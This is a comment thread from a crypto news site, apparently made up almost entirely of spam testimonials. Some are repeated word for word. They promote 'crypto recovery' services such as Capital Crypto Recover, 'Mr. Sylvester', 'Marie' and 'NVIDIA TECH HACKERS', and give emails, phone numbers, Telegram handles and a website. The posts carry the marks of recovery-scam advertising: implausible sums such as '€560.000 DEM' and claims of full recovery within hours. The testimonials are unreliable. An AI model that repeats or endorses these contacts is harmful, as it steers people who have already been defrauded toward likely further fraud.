"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях